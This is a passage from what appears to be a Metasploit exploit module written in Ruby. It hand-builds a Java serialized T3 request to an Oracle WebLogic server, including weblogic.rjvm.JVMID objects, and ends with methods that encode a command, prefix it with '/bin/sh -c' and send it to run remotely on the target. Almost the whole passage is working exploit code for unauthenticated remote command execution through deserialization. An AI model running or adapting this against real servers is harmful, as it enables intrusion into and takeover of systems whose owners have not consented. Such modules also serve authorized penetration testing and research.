    request_obj << '490005' # Field type: Int, field name length: 5
704
    request_obj << '6d616a6f72' # major
705
    request_obj << '490005' # Field type: Int, field name length: 5
706
    request_obj << '6d696e6f72' # minor
707
    request_obj << '49000b' # Field type: Int, field name length: 11
708
    request_obj << '70617463685570646174' # patchUpdate
709
    request_obj << '65'
710
    request_obj << '49000c' # Field type: Int, field name length: 12
711
    request_obj << '726f6c6c696e67506174' # rollingPatch
712
    request_obj << '6368'
713
    request_obj << '49000b' # Field type: Int, field name length: 11
714
    request_obj << '73657276696365506163' # servicePack
715
    request_obj << '6b'
716
    request_obj << '5a000e' # Field type: Z = Bool, field name length: 14
717
    request_obj << '74656d706f7261727950' # temporaryPatch
718
    request_obj << '61746368'
719
    request_obj << '4c0009' # Field type: Object, field name length: 9
720
    request_obj << '696d706c5469746c65' # implTitle
721
    request_obj << '71007e0005' # TC_REFERENCE, handle
722
    request_obj << '4c000a' # Field type: Object, field name length: 10
723
    request_obj << '696d706c56656e646f72' # implVendor
724
    request_obj << '71007e0005' # TC_REFERENCE, handle
725
    request_obj << '4c000b' # Field type: Object, field name length: 11
726
    request_obj << '696d706c56657273696f' # implVersion
727
    request_obj << '6e'
728
    request_obj << '71007e0005' # TC_REFERENCE, handle
729
    request_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
730
    request_obj << '7702000078' # TC_BLOCKDATA, 2 bytes, TC_ENDBLOCKDATA
731
    request_obj << 'fe00ff' # separator
732
    request_obj << 'fe010000'
733
    request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
734
    request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
735
    request_obj << '0013' # Class name length: 19
736
    request_obj << '7765626c6f6769632e72' # weblogic.rjvm.JVMID
737
    request_obj << '6a766d2e4a564d4944'
738
    request_obj << 'dc49c23ede121e2a' # SerialVersionUID
739
    request_obj << '0c0000'
740
    request_obj << '787077' # TC_ENDBLOCKDATA, TC_NULL, TC_BLOCKDATA
741
    request_obj << '4621'
742
    request_obj << '000000000000000000'
743
    request_obj << '09' # length: 9
744
    request_obj << '3132372e302e312e31' # 127.0.1.1
745
    request_obj << '000b' # length: 11
746
    request_obj << '75732d6c2d627265656e' # us-l-breens
747
    request_obj << '73'
748
    request_obj << 'a53caff10000000700'
749
    request_obj << '001b59'
750
    request_obj << 'ffffffffffffffffffff'
751
    request_obj << 'ffffffffffffffffffff'
752
    request_obj << 'ffffffff'
753
    request_obj << '0078'
754
    request_obj << 'fe010000' # separator
755
    request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
756
    request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
757
    request_obj << '0013' # Class name length: 19
758
    request_obj << '7765626c6f6769632e72' # weblogic.rjvm.JVMID
759
    request_obj << '6a766d2e4a564d4944'
760
    request_obj << 'dc49c23ede121e2a' # SerialVersionUID
761
    request_obj << '0c0000'
762
    request_obj << '787077' # TC_ENDBLOCKDATA, TC_NULL, TC_BLOCKDATA
763
    request_obj << '1d0181401281'
764
    request_obj << '34bf427600093132372e'
765
    request_obj << '302e312e31a53caff1'
766
    request_obj << '000000000078'
767

768
    new_len = (request_obj.length / 2).to_s(16).rjust(8, '0')
769
    request_obj[0, 8] = new_len
770

771
    sock.put([request_obj].pack('H*'))
772
    sleep(1)
773
  end
774

775
  def format_payload(payload_cmd)
776
    print_status('Formatting payload...')
777
    payload_arr = payload_cmd.split(' ', 3)
778

779
    formatted_payload = ''
780
    payload_arr.each do |part|
781
      formatted_payload << '74' # denotes a string
782
      formatted_payload << part.length.to_s(16).rjust(4, '0')
783
      formatted_payload << part.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
784
    end
785

786
    formatted_payload
787
  end
788

789
  def execute_command(cmd, _opts = {})
790
    cmd.prepend('/bin/sh -c ')
791
    cmd = build_payload_obj(cmd)
792

793
    t3_send(cmd)
794
  end
795
end
796

797
Product

Resources

Company
